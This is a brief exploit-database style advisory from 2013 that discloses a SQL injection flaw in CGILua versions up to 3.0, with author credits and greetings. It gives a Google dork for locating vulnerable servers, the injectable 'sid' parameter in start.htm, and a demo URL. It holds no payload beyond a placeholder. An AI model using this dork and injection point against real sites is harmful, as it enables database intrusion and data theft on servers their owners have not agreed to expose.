# Exploit Title: CGILua SQL Injection # Google Dork: inurl:/cgilua.exe/sys/ # Vendor Homepage: https://web.tecgraf.puc-rio.br/cgilua/ # Version: < = 3.0 # Date: 09/12/2013 # Exploit Author: aceeeeeeeer # Contact: http://www.twitter.com/aceeeeeeeer # Tested on: Windows #################################################################################### greetz: CrazyDuck - Synchr0N1ze - No\one - Kouback_TR_ - unknow_antisec - elCorpse Clandestine - MentorSec - Titio Vamp - LLL - Slayer Owner - masoqfellipe #################################################################################### Exploit: /cgi/cgilua.exe/sys/start.htm?sid=[ SQLi ] Demo: http://www.server.com/publique/cgi/cgilua.exe/sys/start.htm?sid=157